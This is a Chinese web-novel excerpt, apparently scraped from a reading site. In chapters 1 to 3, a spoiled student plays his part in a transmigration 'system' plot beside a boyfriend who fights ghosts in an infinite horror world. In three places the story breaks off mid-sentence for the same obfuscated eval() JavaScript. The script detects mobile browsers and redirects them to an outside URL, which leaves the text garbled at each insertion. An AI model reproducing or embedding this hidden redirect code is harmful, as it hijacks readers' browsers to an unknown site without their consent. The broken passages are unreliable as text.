《都说了我很娇纵了》 1. 骄矜 这双手很白。 指腹饱满,圆润,因为养尊处优,骨节处竟然没有色素沉着,而是透着健康的粉色。 此刻摁在杯壁上,隔着装满了热水的玻璃杯,又透出一种水润的红色。 “借过。” 卿向南捏着水杯,从开水房走出来,垂眸看了一下手表,略一侧头,躲过一旁揽过来的手臂。 但那家伙还是没脸没皮地贴了上来。 “怎么只有你一个人?” 吊儿郎当的声音,衣服也不好好穿,说话时口中呼出的气也是热烘烘的,弄得卿向南忍不住皱眉。 “关你什么事?” 他抿着唇,微卷的发尾勾在绯红唇角,随着低声的呵斥撩过细腻柔软的脸颊。 看的人心痒痒的,不由得又靠近一点儿。 这恼人的家伙也不例外。 “别生气嘛,这不是看闻时秋没跟着你嘛?那家伙也太不负责,到哪里鬼混去了?” 这句话不说还好,一说就让卿向南来气,眉心一蹙,伸手去推男人。对方那张棱角分明的脸压在卿向南锁骨窝里,下巴上短茬儿的胡须弄得他肩膀发痒,红了一片,被卿向南恼怒地推开,将人弄得一个趔趄。 “滚开!不需要你关心。” 他骂的直白,但无奈声音太好听,就连挨骂也成了一种享受。因此面前的人不但没有生气,反而更兴味盎然了些,稳住身形,单手插兜看他骂人,眼睛只盯着他颈侧被磨出的粉色,笑问:“干嘛脾气这么坏?我又不会吃了你。” 卿向南睨他一眼,凤羽般的睫毛翘起来,“知道我脾气不好还黏上了,烙成你真是恶心透了。” 烙成不太在意地哼笑一声,他早知道卿向南脾气坏,性子骄纵,甚至关于卿向南脾气大这件事,j大论坛也早已经反复聊过几次,开了几栋话题楼。 后来卿向南和闻时秋恋爱,论坛就开始频繁讨论两人的恋情了,他也觉得没趣,不再主动进去翻阅。 一般来说这种八卦没几个人在意,只不过两人长相都很亮眼,闻时秋的那个闻字似乎又和某个大家族有关,当然,在这些因素之外,最重要还是两个人闹分手的频率实在太高,高到几乎成为家常便饭。 时不时就能听见小道消息传出,带着八卦的兴味:“卿向南又双叒叕在和闻时秋闹分手了!” 闲暇之余不少人都爱追更两个人的感情变化,论坛甚至有人偷偷产粮,更有人为闻时秋扼腕叹息,怒其不争地建了高楼——[闻时秋!当舔狗是没有未来的!!!] 然后这种质问在某次校园祭卿向南穿了女仆装后彻底停更,变成了“这么漂亮的妹妹就算是男的我也愿意舔,闻时秋你别太傲了。” 卿向南倒是不知道这些,他甚至从不知道j大还有个论坛。只是烙成心底倒是不爽了起来。 只是谈个恋爱而已,搞得好像卿向南就跟他闻时秋绑定了一样。 何况,天底下姓闻的那么多,他没听到过风声,自然这个闻时秋也就算不了什么人物。 正想着,卿向南忽然转身,伸手推他一把。 他倒底也算有点儿背景,入校那天只不过随便开了辆跑车报道就惹来许多人惊叹,走在学校里,连校长也得给他几分面子。 唯独卿向南不给。 非但不给,一双揉进水里的眼珠子还要瞪人,生怕不能得罪他。 “滚啊,迟早让闻时秋收拾你。” 烙成简直有些心尖发痒,喉结滚动几下,才对卿向南玩笑道,“这么爱惹事,哪天惹到不好惹的,可不要被打的屁股开花。” 这句话说得他自己忽然一顿,那头的卿向南显然没产生什么奇怪联想,只是转身跑开了。 然而烙成脑子里无端出现卿向南红着眼眶流泪的一张脸,精致的下巴上也全是滚落的泪珠,抿着唇,连哭也不敢大声。 他为此想法大感惊愕,留在原地,没再跟上去。 真是…… 就算真的有那个机会,谁又能舍得真的打烂他的屁股,明明怪可爱的。 · 卿向南抿着唇,边打电话边从宿舍楼里出来。夏日里阳光晃眼,照的他手臂小腿雪白一片,恍惚间看见眼睫轻轻一抬,几点水光闪烁,一下子就显得可怜可爱起来。 明明这样伤心,电话那头的人却还不立刻出现。卿向南正等闻时秋接电话,忽然察觉路边有陌生人突兀地站着,不由得抬眸瞧过去,有些疑惑地瞥了对方一眼。 那长长的睫毛就这么盈着细碎的泪珠看过来,叫人愣了一瞬。 只卿向南自己却小声腹诽。 ——干嘛举着手机站军姿?真不懂这些怪人。 卿向南没多想,他自觉自己和学校里其他人的关系都不好,也不想自讨没趣,只是快步走开。 但他不知道其实别人早已经拍了他的照片,包括刚才站军姿那位。 这些家伙几乎是在看见他哭的瞬间就发了帖子八卦。 [啊啊哭了哭了!] [可恶啊闻时秋不会照顾人干什么谈对象啊!] [我猜又要闹分手了,这次又是因为什么原因?] [不知道啊,但好像是往图书馆去的,你们有谁在图书馆看见闻时秋吗?提醒一下快点哄人啊!] [压根儿没见到这家伙!] 卿向南对此完全不知情,只是一味地埋头赶路,听着电话那头的闻时秋道歉。 他脸上的泪痕还没干透,但听电话也听得不太认真,举着手机,又有些奇怪地看了一眼身旁的那些路人。 干嘛啊,虽然我脾气不好,大家总是避开我,但是你们几个明明跟我是同班同学也不打个招呼的吗?眼睛直直盯着前面干什么,装看不见我也装的太明显了吧? 怎么还有不认识的人往我这边挤啊,故意找事排挤我吗…… 这么一想,他握紧了水杯,对着电话那头发恼的声音里无端带了点儿委屈。 “我才不想管你去哪里鬼混了,你这个渣男,”本来只是演演戏做做样子,真的说出口了却又立刻觉得自己实在太委屈了,卿向南的眼泪啪嗒一声就落了下来,“我要跟你分手!分手!你滚吧!再也不要和你在一起了!” “抱歉,宝宝,我突然有急事,”电话那头的闻时秋放低了声音,诚恳无比地哄着,“是真的突发情况,林老师的实验你还记得吗?我们一起参加的那个,都是因为宝宝的天才想法才让我们过了项目申报。刚刚也就是这个项目突然出了问题我才去忙的。现在我都解决好了,立刻就来找你,宝宝你不是想加综素吗?数据这周就能跑出来了,这学期宝宝就可以加综素了,你就有自己的一作了!别哭了,宝宝,别哭了,我马上到了,你打我都可以,别哭。” 卿向南吸了吸鼻子,闷声闷气地说:“人机。” 闻时秋愣了一下,修长的眉眼里带着点宠溺无奈,“嗯?” “我哭了,你让我别哭,我说我今天没吃饭肚子好饿,你是不是还要问我说,‘你一天不吃饭肚子不饿吗?’这种话?你这个死人机。” 卿向南瘪了瘪唇,感觉好受了一点。 但是这么快就不生气了,好像显得他很没面子,于是他又僵持了一下,不说话,故意冷着闻时秋。 听见电话另一头闻时秋的呼吸声渐渐变得平稳,心底终于又忍不住小声地问。 “真的给我一作吗?” 想了想,又红着耳垂,声音低了下去,带着鼻音,微不可察地喊,“老公……” 闻时秋立刻忘了呼吸,头昏脑涨,只知道赌咒发誓,一作只给卿向南。 他甚至昏了头,满嘴地宝宝,还说,“二作我也可以不要,宝宝想给谁就给谁,宝宝,我真的好爱你。” 卿向南哼了一声,挂着泪珠的脸微微扬起,“赏给你啦。” “好,谢谢宝宝。” “我已经到三楼老地方啦,你快点来接我。” “遵命。” 眼看卿向南总算是不生气了,等对方挂掉电话,闻时秋才将手机揣回兜里,快步穿过人群,挤进图书馆电梯里。 此刻正是用电梯的高峰期,周围人头攒动,学生们或低头玩手机,或睁着眼发呆,也有人交谈通话,好不热闹。 只电梯门关闭的瞬间,却有一股阴森气息忽的降临。 一开始还不太明显,但随着电梯轻震,缓缓上移,不锈钢墙面上那倒映而出的一张张模糊不清的人脸却逐渐扭曲起来,像被水浸湿的旧照片。 这变故生的很快,不知何时,电梯安静了,那些脸全都木木地看着闻时秋,一动不动。 电梯内的温度也随之急剧下降。 闻时秋脸上的笑容消失,他冷着脸,盯着面前的一张张面孔。他身边还挤着许许多多的“人”,但他们又怎么会再是人呢? “滚!” 他周身的气压很低,竟然比那阴森鬼气还要低上许多,整个人十足不悦。 他听见了一声诡异的讥笑,视线余光看见身边人的皮肤呈现出青紫颜色,闻时秋眼底一片寒霜,只盯着面前的电梯门。 不锈钢光可鉴人,在模糊不清的黑色人影间,猝然出现了一张脸。 那张脸以一种不可思议的怪异笑容从后往前靠近,动作怪异,从脸下生出细长的枝干,像脖子一样被拉的越来越长,随之如竹节虫般长出数根肉肢,它在倒影中越来越近,几乎要贴上闻时秋的脸。 闻时秋瞬间出手,猛地一拳砸向电梯门,而非背后的鬼影。 这一拳震得整个电梯都颤了颤,发出令人牙酸的声音。 像静音键忽然被取消似得,周围瞬间热火朝天地闹了起来,人群中有人抱怨了一句,“艹,发什么神经啊,电梯门也能随便乱砸?要是电梯掉下去害我们全死了,小心我们变成鬼来找你索命啊!” 这声抱怨没有让闻时秋不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985784|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,他甚至有些庆幸地呼出一口长气。 他又回到现实了。 电梯再一次打开,已经到了卿向南所在的楼层,他连忙走出去,看见了远处正坐着的卿向南。 不知道是怎么伤了自己,卿向南正吐着舌头,用手给舌尖扇风,显然才哭过,不但脸颊上还能看见泪痕,连鼻尖也是红红的。 他快步走过去,将卿向南一把抱进怀里,动作很用力,无法控制地将头埋进卿向南肩窝,深吸了一口。 “宝宝。”闻时秋的态度简直像是失而复得。 卿向南只能拍了拍他的肩膀,用手指了指自己的舌尖。 闻时秋呼吸着卿向南的味道,手掌拢着卿向南的后背,声音低哑地问,“舌头被烫到了?” 卿向南呜了一声,吐着舌头,极为丢人的点了点头。 杯子太隔热,而他又忘记了自己接的是滚烫的开水。 刚才等闻时秋的时候下意识打开盖子喝了一大口,烫的舌尖嘶嘶冒气,痛的掉眼泪。 闻时秋捏住卿向南的下巴,一张脸靠近,仔细地看着他:“我看看。” 卿向南又把舌头吐出来一点儿,给闻时秋查看。 那湿软的舌确实被烫的很糟糕,吐出来时还冒着热气,但舌尖已经整个变成秾丽的红色,略微肿起一点儿,可见主人受了多大的折磨。 闻时秋不得不捏住它,避开烫肿了的地方,对着舌尖吹气。 “等下用凉水给你冲一下,再用冰块冰一下,宝宝,乖乖吐出来,不要收回去。” 卿向南乖乖点头。 好乖,宝宝。 会喊他老公,也会撒脾气,活生生地在他面前。 眼睛哭的红红的,脸上全是泪水,也会乖乖地张开嘴巴,吐红红的舌头给他看。 宝宝只是不知道他会进入那些黑暗的世界罢了,他总是莫名其妙消失,自然会让人生气。 宝宝这么听话,要是知道真相,当然会体谅他。 但他宁肯卿向南一辈子也不体谅,也不要卿向南知道那个地方的存在,被卷入那个地方。 皱着眉头哭哭的样子也很可爱。 闻时秋起身,挡住背后偷看的视线,“我去水吧拿点冰块过来,有想喝的饮料吗?” 看卿向南摇头,他于是了然,转身走向餐吧时经过偷看者身边,闻时秋抬手压住对方的肩膀,强硬地把人转了个方向,正好背对卿向南,再无法偷看。 卿向南捂着舌尖看他果然为自己忙前忙后,不由自主地勾起一点儿唇角,正要笑,下一秒却又被舌头疼地嘶了两声。 脑海中却响起系统疯狂的夸赞。 【今天也是完美出演骄纵作精的一天!很好宿主,这样下去我都不敢想我们的评分会高成什么样,您真是太有演技了!】 卿向南难得有些不好意思。 【只是本色出演啦……算不上什么演技……】 而且感觉被好多人排挤讨厌了QAQ。 【本色出演也是实力的一种,您现在可是把人设踩的死死的,一点儿没崩噢!】 卿向南脑中响起系统哗啦哗啦翻书的声音。 【让我看看……嗯嗯,对,男主身边的骄纵作精!前部分剧情所有人都眼瞎了一样纵容你,男主更是可怜不已,被你各种拖累,不断升级都是为了给你擦屁股。直到大家慢慢清醒,意识到你超坏的,男主超可怜的,于是你的真面目被揭穿,被狠狠抛弃……我看看这个世界的话……哦哦!最后结局是你因为骄纵任性被忍无可忍的男主抛弃,自己一个人误入了无限世界终焉boss的房间,被boss吞吃入腹,男主和boss大战三百回合以后杀死boss,并且在以后越来越强,最后踏破虚空……这部分不重要,我们只专注你的剧情!】 【被吃的时候会很痛吗?】 【不会的!宿主再问我一百次也是不痛!我会帮你切断意识,只留一具空壳的啦!然后我们就快快切换到下一个世界,毕竟需要我们“辅助”成才的男主可多了呢。】 还好只是留下一具空壳给boss吞吃入腹,而不是自己真的被吃。 卿向南终于放心了一点,脑海中的系统忽然安静下来,他看向身旁,果然,是闻时秋来了。 闻时秋带来一杯装满了冰块的青柠气泡水,拉开椅子,在他面前坐下。 闻时秋问他:“还疼吗?” 卿向南小声说:“疼……” 其实过了这么久早该能够忍受了,但他还是说疼。 直到被冰块上下夹住舌头,那被烫伤的疼痛才有所缓解。 丝丝凉意顺着舌尖散开,冰块渐渐融化,晶莹的水珠在舌尖汇聚,一滴滴落下。 “现在呢?” 闻时秋松开手,卿向南舌尖上只留下一小块还未化的冰块。 他微凉的指腹轻抚着捏住卿向南唇边软肉,沉静双眼只专注地看着卿向南的脸。 2. 果然很喜欢我嘛 “还疼。” 卿向南眼睛湿漉漉地看着闻时秋,声音软软地抱怨,还是好疼。 他形状姣好的唇早已晕开一团乱七八糟的粉色,冰块放在舌尖上,已经化了大半,弄得连唇瓣都是水润的。 他真的很喜欢撒娇,而且很喜欢使唤自己的对象。 闻时秋忍不住低头凑过去,两人缠着冰块,吻到一起。 卿向南呜了一声,有些不适应,皱着眉好像要躲,却很快被闻时秋的舌头搅了进来,他的表情看起来有点儿难受,但是整个人的眼神却有些迷离,似乎又不是很讨厌的样子。 分开时脸红红的,唇瓣周围更是洇出一片湿红。 论坛里很早以前就有人发过一个帖子,那个帖子的标题很简短,点进去只有一句话。 [卿向南的嘴巴看起来很好亲。] 闻时秋不由得想——确实是很好亲的。 他喉结滚动,心头极为柔软地颤动了一下。 “别生气了,嗯?” 手掌贴着卿向南脸侧,拇指指腹蜷曲,轻轻摩挲着卿向南的下颌。 实在对卿向南着迷的要死。 卿向南迷迷糊糊地,像发现了什么似得,有些小得意地跟系统炫耀。 【男主果然很喜欢我嘛。】 系统点头应是。 【没错,这些男主都超爱你的,宿主再怎么坏脾气也没关系,因为你……】 【因为我其实也算蛮漂亮的啦w】 【没错没错,你超级迷人!】 卿向南哼哼一声,对闻时秋说,“你好臭屁啊,是不是想在我面前装校园男神迷倒我啊?” 闻时秋不明所以,刚才那种旖旎的氛围瞬间被一阵清风吹散。 卿向南模仿着闻时秋的样子,用食指把闻时秋的下巴往上抬,仰着脸,鼻尖看人,对着闻时秋轻快地嗯?了一声,装着低沉的声音说,“别生气了?” 闻时秋看他这样,眼神闪了一瞬,不由得笑道,“宝宝真聪明,我真不要脸,在宝宝面前耍帅。” “一般一般啦,”卿向南也凑过去,整个人几乎靠在闻时秋肩头,“本大人允许你在我面前耍帅~” 毕竟闻时秋确实蛮帅的。 现在这些龙傲天小说的主角颜值膨胀,个个身高腿长猿臂蜂腰,卿向南倒是蛮受用的,毕竟他一点儿也不喜欢丑人当老公。 两个人你侬我侬一阵,到了饭点,闻时秋提议去吃法餐。 “正好周末放假,吃完饭以后我送你回家,周天晚上再来接你返校,好不好?” 卿向南表面点了点头,“我想吃奶油玉米浓汤。” 实则又在心里问系统: 【男主又要进副本了?】 【是的,但还有一段时间,宿主还可以享受一顿晚饭和男主的护送服务。】 【那我今天还要闹他吗?】 【要的,这个副本的平均通关时间是36小时,男主特意压制到晚上,大概是想周末解决这个副本以后再来找你。但既然身为男主,就不能用平均时间要求自己,宿主你提前两个小时给他打个电话,想办法让他尽快结束副本来见你。】 卿向南听得认真,下意识点了点头。 “怎么了,小卿?” 正在点餐的闻时秋放下菜单,一脸温和地注视着他,“怎么突然点头?” 卿向南面不改色地为自己遮掩:“这是表达对你的认可,说明你点菜点的甚和我心。” 闻时秋笑着将菜单递回给服务员,“那就多吃一点,不够再加。” 很快菜就被端了上来,两个人一边吃,一边聊天,等到结完账送人回家的时候,闻时秋才状似不经意地问,“今天除了我,还有人惹卿卿生气了吗?” 来了,来了来了。 一切都是为了你的成长啊! 卿向南又赶紧抿了一口奶茶,担心告状时间太长奶茶冷掉。 “今天你不在,烙成那家伙又来烦我,让他滚了还一直往我身上靠,讨厌死他了,他自己就天天鬼混,烦死了。” 闻时秋眼底情绪暗沉,浅笑道,“这人这么讨人厌吗?” “是啊,都怪你,要不是你整天玩消失,我怎么会被烙成那种人黏上?” “嗯,都怪我,”闻时秋说,“之后这种脏东西就不会粘着宝宝了。” “真的假的?”卿向南有些狐疑地看了闻时秋一眼,“你可不要说谎哦。” “我什么时候骗过你?” 你什么时候都有在骗我,刚刚还骗我说你是去处理数据了。 不过这句话卿向南没有说出来,只是装出一副信任地样子说,“那太好了!” 烙成也算是一个厉害的角色了,家境和闻时秋平起平坐,但比起闻家的内敛,烙成家里更张扬些,而且闻时秋本人因为一些特殊原因,其实前期一直在隐藏身份,因此在故事前期,就连读者也以为闻时秋的身份背景都不如烙成。 而随着剧情变化,烙成得到机缘进入无限世界以后,也是迅速成为了一个小头目,与闻时秋发生了更多的摩擦。 大概要再过许多剧情,烙成才会被闻时秋解决掉而彻底下线,因此卿向南并不介意提前招惹点仇恨值,只是,闻时秋说话的语气怎么像是要把烙成处理掉一样? 于是卿向南有点儿不放心地补充了一句:“只要他别再烦我就好了,我就是不想看见他。” 他还是很担心烙成真的被弄死的。 然而闻时秋仿佛没听出来卿向南的意思,只说:“当然不会再让他烦你的,宝宝。” 他站在楼下,一副十好男友的样子,“上去吧,宝宝,我会看着你回家的。” “今天不送我上楼了吗?” 卿向南有点儿疑惑,回头看了闻时秋一眼,忽然瞥见他影子中沸腾的眼珠,立刻吓得肩膀一缩,强撑着说,“那我就自己上去了,你回家要小心哦,拜拜!” 说完就抖着两条腿快步往家里跑去。 【是鬼眼,看来他压不住电梯鬼了,只要动一下就会被吸进去。还好宿主跑得快,不然也会被吸进去,这样就提前进入无限世界了。】 卿向南停下了小跑的动作,惨白着一张脸,哆嗦着问系统。 【是电梯闹鬼呀?】 他看着面前不断靠近一楼的电梯层数,欲哭无泪瞥了一眼黑洞洞的楼梯口,颤巍巍地问,“楼梯这个点安全吗?” 【还是快点上电梯比较好啦,男主身边的鬼蜮范围已经在扩大了,宝宝小心别被吞进去。】 卿向南抖着手按下上楼键,可怜兮兮地缩着肩膀,在电梯打开的瞬间吓得闭眼。 “小卿?怎么了?” 一道冷淡低沉的男音,来人面容清冷,修长的眉弓下,双眼静静注视着卿向南,话语里带着不易察觉的关切。 卿向南睁开眼,发现对方竟然是认识的人,连忙抓住他的手臂,“哥哥?你也刚好回家吗?” ——站在电梯里的池练诗看了看卿向南,握紧了手里的车钥匙,将之不着痕迹地收起来,嗯了一声,按下了两人居住的楼层。 “没想到刚好遇见池哥哥,上次半期考试多亏你帮我押题,不然根本考不了满分呢!出成绩的时候班上同学都羡慕死我了!本来我想表彰结束以后把公示的照片留下来收藏的,因为反正也要被扔掉嘛,结果去的时候发现照片已经不见了,肯定被他们丢垃圾桶了,你知道我人缘不好的。就是好可惜,我觉得那张照片我照的挺好看……” 卿向南一刻不停地说话,根本不敢看除了池练诗脸以外的其他地方。 池练诗的手臂是热的,活人! 表情虽然淡淡的,但是眼神和自己对上了,活人! 一个人看鬼片固然可怕,两个人就没什么大不了的了!别看其他地方别看其他地方我不要见鬼我不要见鬼呜啊啊! 池练诗听着卿向南说话,眼神略微有些发飘。 他既不主动,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985785|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝,但也绝没有趁此机会再得到点什么。 因为小卿好像不喜欢,而且,小卿也有男朋友了。 在卿向南说到被不知名人士提前拿走的相片时,他更是不太明显地愰神了片刻,想到了家中静静放着的相片。 其实是哥哥拿走的…… 叮—— 电梯门打开,卿向南迫不及待地拖着池练诗跑出了电梯,一口气冲到自家门前。 电梯门如常关闭,卿向南松了一口气,伸手叩响房门,对身后的池练诗随意摆手,“那我先回去了,哥哥也快点回家吧!” 池练诗静静地点了点头。 他看着卿向南回家,然后转身打开自己家门、关闭,走进去,将外套脱下。 那一截被卿向南挽过的袖子被他抓住,放至鼻下,细细嗅闻。 小卿的味道变得好淡。 直到最后一丝气味消失,他才恋恋不舍地抓着衣服在沙发上躺下。 整间屋子完全是性冷淡风的打扮,除他以外再没有第二个人,也更显得没什么温度。 ——池练诗哥哥,这次一定要帮帮我,求你啦! 所以只是又陪着小卿上楼而已,只是打断本来的计划安排而已,这些都只是很小的事,只要小卿高兴就好。 · 卿向南终于安全回家,一进屋子就被爸爸妈妈嘘寒问暖,甚至被轮番揉了揉脑袋。 “我知道啦!没有很晚回家的!池练诗哥哥和我一起上楼的,我会注意安全啦。” 卿向南又被塞了一口水果,腮帮子鼓鼓地咀嚼了几下,将食物咽下去,握着卧室门把手对一脸关心的爸妈说,“回来也是闻时秋亲自送我到楼下的,你们放心好了!” 这下父母终于放心,放任他扭开门进自己的房间里窝着玩。 卿向南终于彻底放松下来。 只要回到家里就算安全,毕竟没什么剧情是围绕着他这个作精男朋友展开的,因此他想干什么就干什么,没有剧情的日子他总是玩的很开心。 卿向南窝在被子里拿出手机,打开了游戏,一边等待游戏加载,一边跟系统唠嗑。 【说起来池练诗哥哥蛮可怜的诶……】 【他的爸爸妈妈很早就死了,虽然在这个世界我和他竹马竹马一起长大,也陪着他经历了他父母突然死掉的日子,但是他总是很孤独的样子,再过段时间还会死掉变成鬼,真的好可怜。】 卿向南叹了口气。 他一直觉得池练诗是那种文静内敛的好哥哥,今晚还陪自己一起回家,从小到大每次考试都有麻烦他帮自己补习押题,这么好的人死掉了变成鬼也会被人欺负的吧?希望不要有那么多鬼和人欺负池练诗。 【是的,池练诗的存在就是让男主意识到自己的爱人不但骄纵作精,而且从小把自己青梅竹马的哥哥当做备胎无情使用,宿主的人物形象可是非常饱满的坏起来了,也为后续被男主抛弃做了铺垫。】 卿向南红着耳朵选英雄,有点儿自暴自弃地反驳道。 【话是这么说啦,但是也没有那么坏吧?而且池练诗哥哥根本不喜欢我嘛,你不要再玷污我们纯洁的邻里关系啦!池练诗哥哥是那种我和闻时秋在他面前亲吻也会绅士地装没看见的人,而且他一直超冷淡的!根本不可能对我有别的想法!】 卿向南锁了英雄,静静等待加载时,又忍不住问。 【我真的很坏吗?】 他整张脸都红了,下巴埋在枕头里,脸颊肉被挤压地微微鼓起。 感觉自己真的很坏了。 【可是、可是我也没办法嘛……】 系统找上他的时候明明提供了那么多岗位可以做,但是没用的卿向南只能当个小坏蛋。 【没关系的,超坏的小坏蛋也很迷人的,而且都是为了推动故事发展,宿主一点不坏!】 【好、好吧。】 卿向南没再纠结这件事,游戏加载完毕,他立刻转头投入到游戏里去了。 3. 一念起,百鬼生 没用的小卿在游戏里也很没用。 打野是不会的,中单也是不懂的,射手对抗更是被打的抱头鼠窜,某天下午小卿同学玩对抗路被卡线七分钟吃不到一个兵气的掉眼泪,从此将这几条分路移出自己的选择范围,又菜又爱玩地跑去当辅助。 因为肉辅总是挨打,所以最终变成了万年软辅。 闻时秋又要忙学业,又要忙无限世界里的事,还要慢慢接手家族生意,根本没有时间陪他玩,因此卿向南最开始是一个人玩的,玩游戏连跪也只是一个人难受。 但等他转玩软辅以后,卿向南的段位却很快就升了上去。他不太会刷钱发育,但其实意识方面进步迅速,辅助正好弥补了他的这点不足,玩了软辅以后又渐渐习惯开麦指挥,完全打成了辅核,慢慢段位越来越高,也有了不少固定队友。 总有一些人在第一次听到他开麦的时候会忍不住笑着问他,“你是男生女生啊?你声音听起来就好漂亮。” 哼哼,不管男生女生,反正隔着屏幕就能迷死你的人生。 但表面上卿向南还是装作不知情,“诶?哪有……我是男生啦。” 这个“啦”字真是叫的人心颤颤的,软成一滩水了,再一看常用,瑶、孙膑、朵莉亚,不是妹妹也被当成妹妹照顾了。 这天晚上又玩了好一会儿,打完巅峰赛预备下线的时候,被一个之前一起玩过一段时间的打野拉了小房间。 卿向南其实想快点下线睡一觉的,今晚巅峰赛又当了积分战神,段位越高就越吃队友配合,好几把遇到的队友打游戏都打的心不在焉的,让他心里有点儿烦。 进来一看又发现对方只是个小国标镜,于是打算随便客套几句就走。 然而对方在他进来的瞬间就发了消息:开麦。 卿向南本来也没有关麦,看他这样,有点儿不爽,感觉自己被指使了,他从来都是被闻时秋和池练诗哄着的,也不知道是因为今晚上分不顺利,还是因为对方这两个字就有点儿压着他的意思,不太高兴地撇了撇嘴,“不是开着嘛?” 对面又发:为什么不高兴? “你有什么事快说吧,先说好我不打算玩游戏了,我要下线睡觉了。” 卿向南声音压的很低,听起来有点儿瓮声瓮气的,“我家里人都睡觉了。” 对面停了几秒,也开了麦:我只是看你好久没…… 卿向南啪地捂住手机,将听筒手忙脚乱的关掉,麦克风也随着听筒关闭一齐关了。 对方显然没想到他要来这一手,甚至愣了一下,话筒闪了几次,也跟着关掉,发文字给他。 对方:为什么这么慌张? 对方:不希望家里人听到男人的声音? 卿向南回了个:我爸妈起夜了,你差点暴露我。 对方沉默了一下,回了个对不起。 接着,对方又发:看你经常组排,下次上分可以拉我一起。 卿向南认真思考着这个小国镜能不能当长期队友。 小国标而已,现在小国标随处都是,又不是在榜国一,没必要绑定当固定队友。 他还在想,忽然弹出来一个好友申请,对话框里写着,“这是我大号。” 卿向南通过好友申请,被里面的国标和巅峰分闪瞎了眼。 连忙回了个好。 对方发来自己的微信号,然后又说:有时间就发消息给我,我平时很空闲,随时可以玩。 懂了,无业游民。 但作为游戏队友还是蛮不错的,卿向南自然同意了。 就这么聊了几句,卿向南调好闹钟,迷迷糊糊睡了过去,第二天白天下意识想跟闻时秋发消息,忽然想起对方这个点说不定在副本里,立刻歇了这个心思,转而拿出手机上号,给昨天认识的家伙发了信息。 对方ID是顾铭凌,看起来像是真名,卿向南没太在意,跟着对方进了游戏,打了十多分钟,正在推水晶的时候才回过神来,猛地记起此人的来历。 隔壁数院的学神,小说里和闻时秋实力不相上下的男二。 就是那种一本小说里总是时不时被拿出来提一嘴,修为或者实力正好只比男主高那么一点儿的风向标角色,在未来的某个剧情里彻底输给男主,为男主的高光人生再增加一抹不俗的亮色。 而且据说顾铭凌家里是道士,他自己也会些符修法术,进入无限世界以后借着这些混得风生水起,第一次露面时一句淡淡的“小道顾铭凌,见过各位”更是引得无数书粉尖叫打call。 没想到这种档次的学神也会打游戏,还要找固定队友。 还会主动说自己很闲,拉人不务正业,天天打游戏。 又玩了几把,卿向南状似不经意地问道,“感觉你名字好耳熟,是不是也读j大?我们学校有个人和你同名同姓。” 顾铭凌嗯了一声,手上操作流畅,几下反掉对面的蓝区,一边拉视角抓人,一边给卿向南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985786|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打信号帮忙看龙做视野。 就在卿向南以为这个男人就是这么难搞的时候,却又听见顾铭凌的声音,仍然是淡淡地,“你在哪个学院?有空可以一起吃饭。” 真是自然又丝滑,卿向南下意识说了自己的学院以后才觉得不对。 ——我们只是网友而已吧?怎么就发展到要约饭了? 但是仔细想想,对方毕竟自称小道,说不定可以要一点符纸什么的,也可以避免被鬼缠上。 因此也没有拒绝的太彻底,含糊地应了一声,操作着角色骑到顾铭凌头上时,卿向南忽然想到一个他了解剧情时很在意的问题。 “你是不是真的有阴阳眼啊?你能看见鬼吗?” 顾铭凌眼皮一撩,看着骑在自己头顶上的角色,卿向南还操纵角色发了个表情给他。 他沉声,“听谁说的?” “啊?”卿向南愣了一下,解释道,“我听别人说你家里有人当道士,我以为……” “阴阳眼没那么神,不能完全看到鬼,你也别对这些东西好奇,尤其不要乱搜索,也别想这些东西,”顾铭凌的唇抿成一道直线,无端带了点儿凶,“鬼这种东西,沾上了,不是你能轻易摆脱掉的。” 卿向南被他骇了一跳,心想也没见小说里提到过顾铭凌说话能这么凶,少有的几次正面描写都说的是,顾铭凌虽然冷淡,但态度恭敬有礼,聪敏沉静。 完全不像是现在这种样子。 声音低沉,带着丝丝凉意。 冻得他大夏天都是一个哆嗦,顺手把房间里的空调温度调高了点。 “好了,我知道啦,就好奇问问你嘛。” 毕竟卿向南也是真的好奇,顾铭凌如果能看见鬼,那为什么不避开有鬼的地方,不进入鬼蜮呢?毕竟小说里这个人好像一直都在找摆脱鬼蜮的办法,很不喜欢鬼蜮。 故事设定里,只要进入一次鬼蜮,就再也无法摆脱,那么不喜欢的话,干嘛不避开?果然还是阴阳眼真的没那么有用吗? 他却不知道,顾铭凌在那一刻又回想起了第一次进入鬼蜮时的场景。 床底、地板、天花板、墙角、墙面、窗户、窗外、楼道……所有的地方,全部是鬼。 他根本避无可避。 那个黑暗幽深的世界已经降临在他眼前,厉鬼从皲裂的地缝中爬出,伸出无数苍白发青的手。 “一念起,百鬼生,顾铭凌——你以为你能逃离地狱吗!” 4. 来接我 